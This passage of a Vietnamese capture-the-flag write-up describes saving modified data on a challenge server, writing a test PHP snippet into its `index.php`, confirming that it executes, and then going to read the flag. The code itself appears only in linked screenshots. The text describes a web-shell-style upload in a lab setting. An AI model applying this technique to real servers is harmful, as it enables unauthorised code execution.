Vậy là nó lưu được, mình thử kiểm tra nội dung của dữ liệu mình update lên và kết quả được như mình mong muốn ![image](https://hackmd.io/_uploads/Hk-Ep4C5A.png) Bây giờ mình thử update lên file `index.php` 1 đoan mã php thử ![image](https://hackmd.io/_uploads/BJbt640cC.png) Và bây giờ đi kiểm tra thanh quả ![image](https://hackmd.io/_uploads/r1bhTERc0.png) Ngol, giờ thì đi tìm flag và đọc nó thôi ![image](https://hackmd.io/_uploads/SJJApE09C.png) ![image](https://hackmd.io/_uploads/Hyle0E0cA.png)